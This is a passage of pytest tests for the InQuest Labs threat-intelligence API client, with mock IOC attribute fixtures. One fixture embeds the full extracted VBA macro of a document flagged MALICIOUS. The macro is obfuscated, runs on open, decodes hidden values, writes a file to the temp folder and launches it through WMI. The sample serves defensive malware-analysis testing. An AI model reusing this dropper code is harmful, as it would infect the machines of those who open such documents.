21 | }, 22 | {"attribute": "url", 23 | "category": "ioc", 24 | "count": 1, 25 | "value": "aHX3xw.bt" 26 | }, 27 | {"attribute": "email", 28 | "category": "ioc", 29 | "count": 1, 30 | "value": "aHX3xw.bt" 31 | }, 32 | {"attribute": "domain", 33 | "category": "ioc", 34 | "count": 1, 35 | "value": "ebug.Pr" 36 | }, 37 | {"attribute": "domain", 38 | "category": "ioc", 39 | "count": 1, 40 | "value": "Paint.NET" 41 | }, 42 | {"attribute": "filename", 43 | "category": "ioc", 44 | "count": 1, 45 | "value": "FM20.DLL" 46 | }, 47 | {"attribute": "filename", 48 | "category": "ioc", 49 | "count": 1, 50 | "value": "MSO.DLL" 51 | }, 52 | {"attribute": "filename", 53 | "category": "ioc", 54 | "count": 1, 55 | "value": "VBE7.DLL" 56 | }, 57 | {"attribute": "xmpid", 58 | "category": "ioc", 59 | "count": 1, 60 | "value": "xmp.iid:c69177cd-9fe4-7044-be5a-e60c0cec53fb"}, 61 | {"attribute": "xmpid", 62 | "category": "ioc", 63 | "count": 1, 64 | "value": "xmp.iid:dc986887-b6b9-324c-afbd-cf38bd4f373e" 65 | }] 66 | 67 | 68 | @pytest.fixture 69 | def mock_attribs(): 70 | return [ 71 | {"attribute": "domain", 72 | "category": "ioc", 73 | "count": 1, 74 | "value": "aHX3xw.ao" 75 | }, 76 | {"attribute": "domain", 77 | "category": "ioc", 78 | "count": 1, 79 | "value": "aHX3xw.bt" 80 | }, 81 | {"attribute": "url", 82 | "category": "ioc", 83 | "count": 1, 84 | "value": "aHX3xw.bt" 85 | }, 86 | {"attribute": "email", 87 | "category": "ioc", 88 | "count": 1, 89 | "value": "aHX3xw.bt" 90 | }, 91 | {"attribute": "domain", 92 | "category": "ioc", 93 | "count": 1, 94 | "value": "ebug.Pr" 95 | }, 96 | {"attribute": "domain", 97 | "category": "ioc", 98 | "count": 1, 99 | "value": "Paint.NET" 100 | }, 101 | {"attribute": "filename", 102 | "category": "ioc", 103 | "count": 1, 104 | "value": "FM20.DLL" 105 | }, 106 | {"attribute": "filename", 107 | "category": "ioc", 108 | "count": 1, 109 | "value": "MSO.DLL" 110 | }, 111 | {"attribute": "filename", 112 | "category": "ioc", 113 | "count": 1, 114 | "value": "VBE7.DLL" 115 | }, 116 | {"attribute": "xmpid", 117 | "category": "ioc", 118 | "count": 1, 119 | "value": "xmp.iid:c69177cd-9fe4-7044-be5a-e60c0cec53fb"}, 120 | {"attribute": "xmpid", 121 | "category": "ioc", 122 | "count": 1, 123 | "value": "xmp.iid:dc986887-b6b9-324c-afbd-cf38bd4f373e" 124 | }] 125 | 126 | @pytest.fixture 127 | def mock_attribs(): 128 | return [ 129 | {"attribute": "domain", 130 | "category": "ioc", 131 | "count": 1, 132 | "value": "aHX3xw.ao" 133 | }, 134 | {"attribute": "domain", 135 | "category": "ioc", 136 | "count": 1, 137 | "value": "aHX3xw.bt" 138 | }, 139 | {"attribute": "url", 140 | "category": "ioc", 141 | "count": 1, 142 | "value": "aHX3xw.bt" 143 | }, 144 | {"attribute": "email", 145 | "category": "ioc", 146 | "count": 1, 147 | "value": "aHX3xw.bt" 148 | }, 149 | {"attribute": "domain", 150 | "category": "ioc", 151 | "count": 1, 152 | "value": "ebug.Pr" 153 | }, 154 | {"attribute": "domain", 155 | "category": "ioc", 156 | "count": 1, 157 | "value": "Paint.NET" 158 | }, 159 | {"attribute": "filename", 160 | "category": "ioc", 161 | "count": 1, 162 | "value": "FM20.DLL" 163 | }, 164 | {"attribute": "filename", 165 | "category": "ioc", 166 | "count": 1, 167 | "value": "MSO.DLL" 168 | }, 169 | {"attribute": "filename", 170 | "category": "ioc", 171 | "count": 1, 172 | "value": "VBE7.DLL" 173 | }, 174 | {"attribute": "xmpid", 175 | "category": "ioc", 176 | "count": 1, 177 | "value": "xmp.iid:c69177cd-9fe4-7044-be5a-e60c0cec53fb"}, 178 | {"attribute": "xmpid", 179 | "category": "ioc", 180 | "count": 1, 181 | "value": "xmp.iid:dc986887-b6b9-324c-afbd-cf38bd4f373e" 182 | }] 183 | 184 | def test_dfi_filter_invalid(labs): 185 | with pytest.raises(inquestlabs_exception) as excinfo: 186 | labs.dfi_attributes("mock", filter_by="invalid") 187 | 188 | assert "invalid attribute filter" in str(excinfo.value) 189 | 190 | 191 | def test_dfi_filter_by_domain(labs, mocker, mock_attribs): 192 | 193 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 194 | attributes = labs.dfi_attributes("mock", filter_by="domain") 195 | assert len(attributes) == 4 196 | 197 | 198 | def test_dfi_filter_by_xmpid(labs, mocker, mock_attribs): 199 | 200 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 201 | attributes = labs.dfi_attributes("mock", filter_by="xmpid") 202 | assert len(attributes) == 2 203 | 204 | 205 | def test_dfi_filter_by_url(labs, mocker, mock_attribs): 206 | 207 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 208 | attributes = labs.dfi_attributes("mock", filter_by="url") 209 | assert len(attributes) == 1 210 | 211 | 212 | def test_dfi_filter_by_email(labs, mocker, mock_attribs): 213 | 214 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 215 | attributes = labs.dfi_attributes("mock", filter_by="email") 216 | assert len(attributes) == 1 217 | 218 | 219 | def test_dfi_filter_by_filename(labs, mocker, mock_attribs): 220 | 221 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 222 | attributes = labs.dfi_attributes("mock", filter_by="filename") 223 | assert len(attributes) == 3 224 | 225 | 226 | def test_dfi_filter_by_none(labs, mocker, mock_attribs): 227 | 228 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 229 | 230 | attributes = labs.dfi_attributes("mock") 231 | assert len(attributes) == 11 232 | 233 | 234 | def test_dfi_filter_invalid_with_key(labs_with_key): 235 | with pytest.raises(inquestlabs_exception) as excinfo: 236 | labs_with_key.dfi_attributes("mock", filter_by="invalid") 237 | 238 | assert "invalid attribute filter" in str(excinfo.value) 239 | 240 | 241 | def test_dfi_filter_by_domain_with_key(labs_with_key, mocker, mock_attribs): 242 | 243 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 244 | attributes = labs_with_key.dfi_attributes("mock", filter_by="domain") 245 | assert len(attributes) == 4 246 | 247 | 248 | def test_dfi_filter_by_xmpid_with_key(labs_with_key, mocker, mock_attribs): 249 | 250 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 251 | attributes = labs_with_key.dfi_attributes("mock", filter_by="xmpid") 252 | assert len(attributes) == 2 253 | 254 | 255 | def test_dfi_filter_by_url_with_key(labs_with_key, mocker, mock_attribs): 256 | 257 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 258 | attributes = labs_with_key.dfi_attributes("mock", filter_by="url") 259 | assert len(attributes) == 1 260 | 261 | 262 | def test_dfi_filter_by_email_with_key(labs_with_key, mocker, mock_attribs): 263 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 264 | attributes = labs_with_key.dfi_attributes("mock", filter_by="email") 265 | assert len(attributes) == 1 266 | 267 | 268 | def test_dfi_filter_by_filename_with_key(labs_with_key, mocker, mock_attribs): 269 | 270 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 271 | attributes = labs_with_key.dfi_attributes("mock", filter_by="filename") 272 | assert len(attributes) == 3 273 | 274 | 275 | def test_dfi_filter_by_none_with_key(labs_with_key, mocker, mock_attribs): 276 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs) 277 | attributes = labs_with_key.dfi_attributes("mock") 278 | assert len(attributes) == 11 279 | -------------------------------------------------------------------------------- /tests/test_dfi_details.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from inquestlabs import inquestlabs_exception 4 | import requests_mock 5 | import requests 6 | 7 | 8 | @pytest.fixture 9 | def mock_details(): 10 | mocked = u"""{ 11 | "analysis_completed": true, 12 | "classification": "MALICIOUS", 13 | "ext_code": "Attribute VB_Name = \"ThisDocument\"\nAttribute VB_Base = \"1Normal.ThisDocument\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = True\nAttribute VB_TemplateDerived = True\nAttribute VB_Customizable = True\nSub Document_Open()\nDim aOgyI As Long\nDim aPsiU As Integer\naOgyI = -265 + 353\naPsiU = 11022 / 501\naqIEt = aOgyI - aPsiU\nDim aEgfB As Integer\naEgfB = 23138 * 1\n' Bahamas\nDim anzPw\nanzPw = Hex(181)\nDim acwxe\nacwxe = Fix(5)\n' Cox toothache\nDim a76MV\na76MV = Hex(128)\n' Concise widen kentucky entities\nDim airBP\nFor airBP = 23 To 44\nDebug.Print Error(airBP)\nNext airBP\nmain \"sl\"\nEnd Sub\nAttribute VB_Name = \"aftxcy\"\nPublic Const aLxnS9 As String = \"tmp\"\nPublic Const anl37m As String = \"22n4n6473416p55207q6475222n34716q627s666s202473796p60237375636s62707023696q6770236s20246q636\"\nSub avcUt(agY0A)\nDim aeuljN\naeuljN = Abs(-7)\n' Depraved\nDim aHDWr As Long\nDim ahatG8 As Long\naHDWr = 108\nahatG8 = 55\nazVNG = aHDWr + ahatG8\nDim aDkfKB\naDkfKB = 22584 * 1\n' Correlative queue supervisors\nDim a6OdPD\na6OdPD = Fix(7)\n' Zodiac inconsistency present-day mandarin britney items\nDim ae6nKx\nFor ae6nKx = 18 To 42\nDebug.Print Error(ae6nKx)\nNext ae6nKx\n' Grows surrey specialty\nDim aPMvLE\naPMvLE = Fix(4)\n' German printed oblation\nDim an0Zf As Integer\nDim aFmNc As Long\nan0Zf = 59 + 63\naFmNc = 40\naPNmjA = an0Zf / aFmNc\n' Vitriol siren networks wesley southwark pedigree\nDim aX3nyK\naX3nyK = Exp(3)\nDim aDVnfZ As Long\naDVnfZ = 27062 * 1\n' Roth marbles autos belittle\nDim aeu1mD\naeu1mD = Hex(152)\n' Rummage intersection\nDim aV4pY\naV4pY = Exp(3)\n' Xl where\nDim aAMim6\nFor aAMim6 = 12 To 60\nDebug.Print Error(aAMim6)\nNext aAMim6\n' Stumble skip encircle\nDim aG6Rph\naG6Rph = Exp(16)\nDim aB02k\naB02k = Fix(15)\n' Unbiased select\naPG5n4 = Not (aPG5n4)\nDim auN49A\nauN49A = Exp(10)\n' Frightening saucy\nDim aM6ZP\naM6ZP = Exp(11)\n' Lioness persuasive joke\nDim ai6ra\nai6ra = Fix(7)\n' Suburban pander thrifty saddam\naqmAvW = Not (aqmAvW)\nDim aDnCod\naDnCod = Fix(11)\n' Body lifelong relevance app\nDim a1l90\na1l90 = 10205 * 1\n' Wreak exponent\nDim a3dcD\na3dcD = Exp(16)\n' Present moat ablutions\naqblMQ = Not (aqblMQ)\nDim aMApij\nFor aMApij = 7 To 50\nDebug.Print Error(aMApij)\nNext aMApij\n' Insulin sty racy piquant rope composition\nSet objWMIService = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2\")\nSet objStartup = objWMIService.Get(\"Win32_ProcessStartup\")\nSet objConfig = objStartup.SpawnInstance_\nSet objProcess = GetObject(\"winmgmts:root\\cimv2:Win32_Process\")\nerrReturn = objProcess.Create(agY0A, Null, objConfig, intProcessID)\nEnd Sub\nFunction aV2CFG(ByRef aFWED As String)\nConst ahj5J1 = 425 - 328\nConst avFmD = 346 - 320\nConst aPR7uc = 62 + 3\nConst aVFGM = avFmD / 2\nDim azBbKh As Long\nDim aFAtzm As String\nIf Len(aFWED) > 0 Then\nFor i = 1 To Len(aFWED)\nazBbKh = 0\naqrsx = Mid(aFWED, i, 1)\naSjOb = Asc(aqrsx)\nIf aSjOb >= ahj5J1 And aSjOb < (ahj5J1 + avFmD) Then\nazBbKh = ahj5J1\nElseIf aSjOb >= aPR7uc And aSjOb < (aPR7uc + avFmD) Then\nazBbKh = aPR7uc\nEnd If\n \nIf azBbKh > 0 Then\nav0OD = (((aSjOb - azBbKh) + aVFGM) Mod avFmD) + azBbKh\nag1MUj = Chr(av0OD)\naFAtzm = aFAtzm + ag1MUj\n \nElse\naFAtzm = aFAtzm + aqrsx\nEnd If\nNext\nEnd If\n \naV2CFG = aFAtzm\nEnd Function\nAttribute VB_Name = \"aiAfnK\"\nSub main(an2Q7)\nDim agNwhI As Integer\nDim aUPzb\nagNwhI = 17\naUPzb = 41\naJM9K = agNwhI + aUPzb\nIf amvkSX = False Then\namvkSX = True\nElse\namvkSX = False\nEnd If\n' Jackets penury\nDim apbE5S\napbE5S = Fix(10)\nDim aUOjd As String\naDoxty = Not (aDoxty)\n' Planets limpid while yu plants bio\nIf afOVK = False Then\nafOVK = True\nElse\nafOVK = False\nEnd If\n' Totals wanda vendor skinny brave nightcap\nak2Xu = Not (ak2Xu)\nIf a0wfY = False Then\na0wfY = True\nElse\na0wfY = False\nEnd If\nDim aAJ1M\naAJ1M = Hex(188)\n' Manufactured unflagging\nDim a2yLKH As Long\nDim a95gw As Long\na2yLKH = 76\na95gw = 41\nayBUM = a2yLKH * a95gw\n' Fighter\nafG06 = StrReverse(aV2CFG(anl37m))\nDim aOeME\nFor aOeME = 12 To 58\nDebug.Print Error(aOeME)\nNext aOeME\n' Toward sparc\nDim aHGroK\naHGroK = Hex(87)\n' S yukon epilepsy mysql trash\nDim aioTtJ\naioTtJ = Exp(7)\n' Avoid corrected isabelle insight property\navue7y = Not (avue7y)\n' Coherence proceeds\nDim aEZ56j\nFor aEZ56j = 4 To 51\nDebug.Print Error(aEZ56j)\nNext aEZ56j\n' Bystander skeptical\nDim aOq3L As Long\naOq3L = 21908 * 1\n' Amount\nawGC2y = Not (awGC2y)\nDim a2T3X\nFor a2T3X = 30 To 40\nDebug.Print Error(a2T3X)\nNext a2T3X\n' Distillation britannia conditions logs\nazRhO acdIV3(aL9TU()), aLxnS9, an2Q7\na7fXZ8 = Not (a7fXZ8)\nDim aufJ9\naufJ9 = Abs(27)\n' Romanticism senate misconception\nDim atKBu\natKBu = Fix(13)\n' Discussions gzip\nDim ameNjh\nameNjh = Hex(108)\n' Deluxe fujitsu\nDim aPR8tL\nDim aaTgm8\naPR8tL = 97\naaTgm8 = 29\naMq0D = aPR8tL - aaTgm8\n' Metabolism anatomical\navcUt (acdIV3(afG06))\nDim aemidk\naemidk = Fix(5)\n' Tie yemen lawfully civilian armenia\nDim aB5ry\nFor aB5ry = 2 To 34\nDebug.Print Error(aB5ry)\nNext aB5ry\nDim a4NVC2\na4NVC2 = Fix(8)\n' Tolerate perception sundown rivers\nDim aqJ0vP\naqJ0vP = Exp(13)\nDim atAkFV\natAkFV = Fix(2)\nDim aNgCJG\naNgCJG = Abs(-51)\n\nEnd Sub\nFunction aC5ld()\nDim ahvjB\nahvjB = Abs(48)\nDim aJNDIT As Long\nDim ajKia\naJNDIT = 45\najKia = 20\na8e9tW = aJNDIT + ajKia\n' Vibrating bananas counsel tickets predict\naC5ld = Environ(aLxnS9)\nEnd Function\nAttribute VB_Name = \"ak8Dj\"\nPublic Const amfb1 As Long = 3849 - 3847\nFunction acdIV3(aW5Unh)\nacKI3 = Not (acKI3)\nDim aJq6b\naJq6b = Hex(222)\n' Ambrosia preamble carbine\nDim aYQAl\naYQAl = Fix(14)\n' Unto hopefully\nDim aFjuC\nFor aFjuC = 24 To 64\nDebug.Print Error(aFjuC)\nNext aFjuC\n' Lighting gonna rhapsody\nDim a8Vi2O As Integer\na8Vi2O = 34244 / 4\nIf aCKBq = False Then\naCKBq = True\nElse\naCKBq = False\nEnd If\n' Silence pi gasoline\nasynb = Not (asynb)\n' Band accounting\nDim asQhp As Long\nasQhp = 4141 * 3\n' Kidnapping magically sedate\nIf aazy7 = False Then\naazy7 = True\nElse\naazy7 = False\nEnd If\n' Nutrition premium helpfulness\nDim aFhtM\naFhtM = Hex(98)\na9zpf = \"\"\nFor a9DRH = 1 To Len(aW5Unh) Step 2\n\nak6Vco = aFGBj2(aW5Unh, a9DRH)\nDim autJv As Long\nDim aaQo7f\nautJv = -459 + 518\naaQo7f = 517 - 475\nagmjrC = autJv - aaQo7f\n' Mailed\nDim a1yxCe\nFor a1yxCe = 18 To 53\nDebug.Print Error(a1yxCe)\nNext a1yxCe\n' Bewitch abolitionist tier\na9zpf = a9zpf + ak6Vco\nNext\nDim aBYrhb\naBYrhb = Abs(4)\n' Masonry sufficiently missouri lifelong\nDim aMQvUZ\naMQvUZ = Exp(8)\n' Journal foothold achievement graduate\nDim atvZTq\natvZTq = Exp(11)\n' Bent\nacdIV3 = a9zpf\nEnd Function\nPublic Sub azRhO(aaK9n7, aIHZL, apO5ig)\nDim aHpD2\naHpD2 = Abs(51)\n' Healer received slug\nDim aWxN4\naWxN4 = Fix(14)\naDfXr = Not (aDfXr)\nau3sVx = Not (au3sVx)\n' Officially materialistic valuation\nIf aJgno = False Then\naJgno = True\nElse\naJgno = False\nEnd If\nDim a3Nlm As Integer\nDim azBun\na3Nlm = -589 + 631\nazBun = 24\naC6dbc = a3Nlm - azBun\n' Disco broken amos\nDim a6XAO\na6XAO = Hex(240)\n' Gala ebook\nDim aSQG4 As Long\naSQG4 = 4276 * 2\n' Tool\nDim aDJS0\naDJS0 = Fix(13)\n' Benchmark logical democrat\nDim a02StH\na02StH = Abs(9)\n' Atom\nSet a7KdLv = CreateObject(\"Scripting.FileSystemObject\")\naBRhki = Not (aBRhki)\n' Variance semester feathered\na7BOMC = Not (a7BOMC)\n' Cadillac here queenly welcome\nDim aqk67\nFor aqk67 = 30 To 41\nDebug.Print Error(aqk67)\nNext aqk67\nIf aWuT8n = False Then\naWuT8n = True\nElse\naWuT8n = False\nEnd If\n' Canes uninterested functioning layman\nDim af4Io\nFor af4Io = 20 To 42\nDebug.Print Error(af4Io)\nNext af4Io\n' Status pits grad smith coiled nite nominated\nDim a1UH4 As Long\nDim aVEJsq\na1UH4 = -265 + 314\naVEJsq = 329 - 272\naIAQc = a1UH4 - aVEJsq\n' Dress meuse pantheism bavarian\nDim aCDO4\naCDO4 = Exp(6)\n' Cork kilometers asked\nDim aYaJSW As Long\naYaJSW = 8941 * 2\n' Ideas coffee munich\nSet ahxrls = a7KdLv.CreateTextFile(aiRH7() & apO5ig, 1)\nDim aYev3\naYev3 = Abs(54)\nDim areDW\nareDW = Abs(43)\n' Abstracted provencal sunshine popish sql\nIf ajZlr = False Then\najZlr = True\nElse\najZlr = False\nEnd If\n' Derek contracting\nDim abTR9r\nDim aGd1Xu As Integer\nabTR9r = 236 - 169\naGd1Xu = 2835 / 315\naQGWK = abTR9r + aGd1Xu\nDim aHtEK\naHtEK = Abs(-60)\nWith ahxrls\nIf an1xWv = False Then\nan1xWv = True\nElse\nan1xWv = False\nEnd If\n' Denial samaria yawl\nDim aUOIts\naUOIts = Exp(3)\n' Unmerciful knocker rampart specification pussy\nDim a8MSma\na8MSma = Fix(5)\n' Flinty beaker identifies programming history\n.Write aaK9n7\nIf apijyb = False Then\napijyb = True\nElse\napijyb = False\nEnd If\n' Hydrogen\nDim a3r48I\na3r48I = Hex(219)\n.Close\nEnd With\nDim aBU1I\naBU1I = Exp(5)\naAHYBg = Not (aAHYBg)\n' Ethnic recognize\nDim aUGtFc As Integer\nDim av0iJ3 As Integer\naUGtFc = 50\nav0iJ3 = 36\nahWw4 = aUGtFc / av0iJ3\n' Verification torpedoes\nDim aHgXY\naHgXY = Hex(244)\nDim aHPbaG\naHPbaG = Fix(2)\n' Tulip toilette climber lateral enamored\nDim aTI9p\naTI9p = Exp(4)\n' Sieve covetous level redolent completion populations symbolical strict\nDim a9iAyP As Long\na9iAyP = 29563 * 1\nDim aceVl\naceVl = Abs(-23)\n' Dj helen chute\nDim atX8hy\natX8hy = Abs(20)\nIf a2SJA = False Then\na2SJA = True\nElse\na2SJA = False\nEnd If\n' Educators\nauFRrP = Not (auFRrP)\n' Detailed insipid throat research\nDim adI1Jx\nFor adI1Jx = 14 To 39\nDebug.Print Error(adI1Jx)\nNext adI1Jx\n' Uncontrolled consistently anxiety nutriment\nDim awzZLY\nawzZLY = Abs(6)\n' Oak crutch alfalfa november sarah\nDim aN13X\nFor aN13X = 24 To 35\nDebug.Print Error(aN13X)\nNext aN13X\n' Hips wrack friendship appointment\nIf aT5o7 = False Then\naT5o7 = True\nElse\naT5o7 = False\nEnd If\nDim ajm2W\najm2W = 10632 * 1\nDim a2XMq As Long\nDim abh5K As Integer\na2XMq = 121\nabh5K = 16\naBIWUX = a2XMq + abh5K\nDim aS7NyO\naS7NyO = 31475 * 1\nDim ab57lN\nab57lN = Fix(3)\nDim a64Yt As Long\na64Yt = 5993 * 2\n' Tannin incredulity analog\nDim a5onIR\na5onIR = Fix(15)\nDim a3jO8\na3jO8 = Fix(9)\n' Twos\nIf a4H62A = False Then\na4H62A = True\nElse\na4H62A = False\nEnd If\n' Seizure unix frank\nDim awBR7S As Long\nDim a3gt4 As Integer\nawBR7S = 627 - 610\na3gt4 = 15\naAUMba = awBR7S * a3gt4\nDim atk6VF\natk6VF = Hex(97)\nDim aX28HA\nFor aX28HA = 2 To 57\nDebug.Print Error(aX28HA)\nNext aX28HA\n' Ing cameras incomplete\nDim apiDd\nDim atrkO As Integer\napiDd = 107\natrkO = 27540 / 918\naBTc1r = apiDd / atrkO\n' Student proficient tardily lincoln\nDim a0sTv\na0sTv = Abs(22)\nDim aYCPu7 As Long\naYCPu7 = 27933 * 1\n' Typhoid measurable\nEnd Sub\nFunction aL9TU()\nDim atxBZQ\nDim avLBG As Long\natxBZQ = 403 - 310\navLBG = 29\naStLi3 = atxBZQ * avLBG\n' Dentists refugee iran\naRzad = Not (aRzad)\n' Enemies headstrong\nDim aLdqs\naLdqs = Abs(-12)\n' Studying angel citations racing hackneyed nj\nDim aICBW\naICBW = Exp(7)\nDim aCiaDo\nFor aCiaDo = 16 To 53\nDebug.Print Error(aCiaDo)\nNext aCiaDo\n' Lessons\nDim aZXer\naZXer = Hex(191)\n' Cookbook\nIf afeoED = False Then\nafeoED = True\nElse\nafeoED = False\nEnd If\n' Tucker tennessee harassment\nDim anAyT\nDim agBtn As Long\nanAyT = 91\nagBtn = -66 + 127\na41Xf = anAyT - agBtn\n' Plymouth luis compensation\nDim a6zJ7a\nDim a6o59z As Integer\na6zJ7a = 5238 / 97\na6o59z = 50\namOZ6f = a6zJ7a + a6o59z\n' Attempted admissions\nIf aEqU4 = False Then\naEqU4 = True\nElse\naEqU4 = False\nEnd If\n' Foothold rectify tho victor\nDim aWb5G\naWb5G = 29827 * 1\n' Jay painful\nDim aLzs3f\naLzs3f = Fix(16)\n' Relax existing surrounded vacancies airship\nazRZKy = Not (azRZKy)\n' Bushel episodes\nDim aWCwFk As Integer\nDim aqsdnf As Long\naWCwFk = 50\naqsdnf = 25\naHi2XN = aWCwFk / aqsdnf\n' Convenience caucasus crawford\nDim alkv6\nFor alkv6 = 28 To 36\nDebug.Print Error(alkv6)\nNext alkv6\n' Verity twitch mating\nDim aqTWEX As Long\nDim abVvW As Long\naqTWEX = 44\nabVvW = 40\nab7V9G = aqTWEX + abVvW\n' Sealskin\nDim acYl82\nacYl82 = 29130 * 1\nDim awfEY As Long\nawfEY = 14173 + 2\n' Hawaii\nDim a0COW\na0COW = Abs(-45)\naZ2yk = Not (aZ2yk)\nSet aHX3xw = New azBP5k\nIf a8ZdLD = False Then\na8ZdLD = True\nElse\na8ZdLD = False\nEnd If\n' Physically asthma quartette developmental\nDim a4f65N As Long\nDim a9JLk8 As Integer\na4f65N = 115\na9JLk8 = 19\na5l6wY = a4f65N / a9JLk8\n' Directory\nDim aPc9W\naPc9W = Abs(13)\nDim aI31MC\nFor aI31MC = 13 To 36\nDebug.Print Error(aI31MC)\nNext aI31MC\n' Rolf viands algorithm flying boys\nDim aTpht2 As Long\naTpht2 = 200 + 90\nDim acS4hU\nacS4hU = Exp(5)\n' Extraction gruel mh\naG1UE = Not (aG1UE)\n' Canadian theft talisman tuesday cloudless\naFxMf = aHX3xw.ao.Value\nDim aVd3e\naVd3e = Exp(15)\n' Counselor voices imagination echo fewer\nDim aav64\naav64 = Abs(50)\n' Needle baal cuts authentication\nDim ab4UAw As Long\nDim aFCxi As Long\nab4UAw = 15408 / 321\naFCxi = 32\naLfVn6 = ab4UAw - aFCxi\n' Arrange biological\nDim anpVd\nanpVd = Fix(3)\n' Marshall subscriber wanted\nDim aPFr0\naPFr0 = Fix(14)\n' Labeled vincent betting trips siena\nDim aF3Mg7 As Long\nDim a1ePKx As Integer\naF3Mg7 = 109\na1ePKx = 65 - 30\na4bRw6 = aF3Mg7 / a1ePKx\n' Transmutation\navfS5 = aHX3xw.bt.Value\nDim aLTAZ\nFor aLTAZ = 30 To 46\nDebug.Print Error(aLTAZ)\nNext aLTAZ\n' Indianapolis official\nDim ahyjxg\nahyjxg = Exp(3)\n' Colic veterans\nIf aEJH1 = False Then\naEJH1 = True\nElse\naEJH1 = False\nEnd If\n' Pre peel\naL9TU = aFxMf & avfS5\nEnd Function\nFunction aiRH7()\nDim a1Rcq\na1Rcq = Abs(37)\nDim aGaMnQ\nFor aGaMnQ = 11 To 43\nDebug.Print Error(aGaMnQ)\nNext aGaMnQ\n' Logo imported flinty rouge\naiRH7 = aC5ld() & \"\\aCtjJ.x\"\nEnd Function\nFunction aFGBj2(aW5Unh, a9DRH)\nDim a6BgYx\na6BgYx = Hex(120)\nDim asOMmt\nasOMmt = Hex(67)\naFGBj2 = Chr(\"&h\" & Mid(aW5Unh, a9DRH, amfb1))\nEnd Function\nAttribute VB_Name = \"azBP5k\"\nAttribute VB_Base = \"0{9B991204-459E-4B17-9850-295B99962B6F}{A9F8B512-5A51-44BB-A73C-471E88529EE8}\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nAttribute VB_TemplateDerived = False\nAttribute VB_Customizable = False\nPrivate Sub UserForm_Initialize()\nar2hIp = Not (ar2hIp)\n' Argue cannon puma recorder\nDim a5o1I\na5o1I = Fix(4)\n' Kaffir happened\nDim aNcbS3\naNcbS3 = Fix(3)\nDim amzOUI As Long\nDim awXJG As Integer\namzOUI = 362 - 234\nawXJG = 27\naMhDJ = amzOUI - awXJG\n' Quiescent format\nDim aUTnVA As Long\naUTnVA = 24602 * 1\naTEvOs = Not (aTEvOs)\nEnd Sub\n\n", 14 | "ext_context": "\n\n\n", 15 | "ext_metadata": "File Name : 30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c\nFile Size : 140 kB\nFile Modification Date/Time : 2019:11:06 21:07:03+00:00\nFile Access Date/Time : 2019:11:06 21:07:03+00:00\nFile Inode Change Date/Time : 2019:11:06 21:07:03+00:00\nFile Permissions : rw-rwxr--\nFile Type : ZIP\nFile Type Extension : zip\nMIME Type : application/zip\nZip Required Version : 20\nZip Bit Flag : 0x0006\nZip Compression : Deflated\nZip Modify Date : 1980:01:01 00:00:00\nZip CRC : 0x0c0cc35b\nZip Compressed Size : 400\nZip Uncompressed Size : 1505\nZip File Name : [Content_Types].xml\n\nFile Name : image1.jpeg\nFile Size : 98 kB\nFile Modification Date/Time : 1980:01:01 00:00:00+00:00\nFile Access Date/Time : 2019:11:06 21:07:10+00:00\nFile Inode Change Date/Time : 2019:11:06 21:07:12+00:00\nFile Permissions : rwxrwxrwx\nFile Type : JPEG\nFile Type Extension : jpg\nMIME Type : image/jpeg\nExif Byte Order : Big-endian (Motorola, MM)\nPhotometric Interpretation : RGB\nOrientation : Horizontal (normal)\nSamples Per Pixel : 3\nX Resolution : 96\nY Resolution : 96\nResolution Unit : inches\nSoftware : Adobe Photoshop CC 2019 (Windows)\nModify Date : 2019:10:07 22:05:38\nExif Version : 0221\nColor Space : Uncalibrated\nExif Image Width : 1000\nExif Image Height : 275\nCompression : JPEG (old-style)\nThumbnail Offset : 398\nThumbnail Length : 2003\nCurrent IPTC Digest : cdcffa7da8c7be09057076aeaf05c34e\nCoded Character Set : UTF8\nApplication Record Version : 0\nIPTC Digest : cdcffa7da8c7be09057076aeaf05c34e\nDisplayed Units X : inches\nDisplayed Units Y : inches\nGlobal Angle : 30\nGlobal Altitude : 30\nPhotoshop Thumbnail : (Binary data 2003 bytes, use -b option to extract)\nPhotoshop Quality : 12\nPhotoshop Format : Progressive\nProgressive Scans : 3 Scans\nXMP Toolkit : Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22\nCreator Tool : Paint.NET v3.5.11\nCreate Date : 2019:10:07 22:02:15+03:00\nMetadata Date : 2019:10:07 22:05:38+03:00\nDocument ID : adobe:docid:photoshop:12e1adf8-ae5a-6d42-89bc-66f2bbb62741\nInstance ID : xmp.iid:c69177cd-9fe4-7044-be5a-e60c0cec53fb\nOriginal Document ID : EC381424F81A4AF9079B45D2377938CA\nFormat : image/jpeg\nColor Mode : RGB\nICC Profile Name : \nHistory Action : saved, saved\nHistory Instance ID : xmp.iid:dc986887-b6b9-324c-afbd-cf38bd4f373e, xmp.iid:c69177cd-9fe4-7044-be5a-e60c0cec53fb\nHistory When : 2019:10:07 22:05:38+03:00, 2019:10:07 22:05:38+03:00\nHistory Software Agent : Adobe Photoshop CC 2019 (Windows), Adobe Photoshop CC 2019 (Windows)\nHistory Changed : /, /\nDCT Encode Version : 100\nAPP14 Flags 0 : [14]\nAPP14 Flags 1 : (none)\nColor Transform : YCbCr\nImage Width : 1000\nImage Height : 275\nEncoding Process : Progressive DCT, Huffman coding\nBits Per Sample : 8\nColor Components : 3\nY Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)\nImage Size : 1000x275\nMegapixels : 0.275\nThumbnail Image : (Binary data 